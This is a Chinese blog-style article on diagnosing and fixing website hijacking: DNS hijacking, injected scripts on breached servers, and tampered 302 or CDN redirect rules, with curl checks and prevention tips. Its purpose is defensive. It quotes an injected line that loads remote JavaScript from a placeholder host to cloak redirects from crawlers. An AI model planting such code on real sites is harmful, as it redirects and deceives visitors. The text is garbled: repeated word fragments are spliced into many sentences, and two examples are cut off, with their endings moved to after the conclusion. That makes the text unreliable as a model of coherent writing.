网站被劫持跳转
打开收藏夹里的网站网址,页面却跳到一个博彩网站。被劫这不是持跳你点错了,是网站网站被劫持了。上个月我帮朋友查一个企业官网,被劫域名没变,持跳HTTPS证书也在,网站但首页加载完两秒后自动跳转到一个境外赌博平台。被劫用户根本来不及反应。持跳 劫持分好几种。网站最常见的被劫是DNS劫持——你输入域名,解析请求在到达真正服务器之前被人截胡,持跳返回一个假IP。网站用户浏览器地址栏显示的被劫还是原域名,但内容已经换了。持跳运营商、公共WiFi、甚至家用路由器被入侵,都可能干这事。2018年GitHub遭DNS劫持那次,国内大量用户访问时跳到卖假证的页面,持续了将近一小时。 另一种是服务器端被入侵。攻击者拿到网站后台权限,直接在代码里插一段JavaScript或iframe。这种最隐蔽,因为DNS没问题,证书没问题,服务器返回的确实是你的页面,只是页面里多了几行恶意代码。我见过一个案例:某地方论坛的首页文件被追加了一行 还有HTTP 302劫持。服务器返回一个302重定向指令,浏览器乖乖跳走。这种往往出现在网站用了不安全的第三方统计代码、广告联盟脚本,或者CDN配置被篡改。有个做电商的朋友,某天发现移动端访问商品页会先跳到一个App下载页。查了半天,是CDN边缘节点的配置被人改了,加了条User-Agent规则——安卓微信内置浏览器访问就跳转。 怎么判断自己中招了?用curl命令直接看服务器返回的原始内容。比如 修复得从根上查。DNS劫持就换DNS服务商,开DNSSEC。服务器被入侵就改所有密码,查webshell,看日志里有没有异常POST请求。302劫持检查CDN配置和nginx的rewrite规则。有个细节容易被忽略:检查网站根目录下的.htaccess文件和nginx的conf.d目录,攻击者常在这里加跳转规则,比改PHP文件更省事。 预防比修复省心。HTTPS全站上,HSTS头加上,防止SSL剥离。后台登录加双因素认证。服务器文件权限设好,别给777。定时用diff对比网站文件和备份,发现改动立刻查。我自己的习惯是每周手动curl一次首页,看返回的HTML大小有没有突变——跳转代码通常会让页面体积多出几KB。 网站被劫持这事,技术门槛不高,但排查起来烦人。关键是别慌,从DNS到服务器到浏览器,一层层剥。多数情况下,问题就藏在某个你没想到的角落——一个过期的插件、一个弱密码的FTP账号、或者一条CDN上被人偷偷加的重定向规则。<script src="http://xxx.com/j.js"></script>,那段远程JS会根据访问者来源判断——如果是搜索引擎爬虫就正常显示,如果是普通用户就跳转。站长自己测试时看到的是正常页面,因为爬虫UA被放行了。curl -I https://你的域名,看有没有奇怪的Location头。再用curl -s https://你的域名 | head -50看返回的HTML里有没有不认识的script标签。如果curl看到的是正常页面,浏览器却跳转,那问题大概率在浏览器端——插件、DNS、或者本地hosts文件被改了。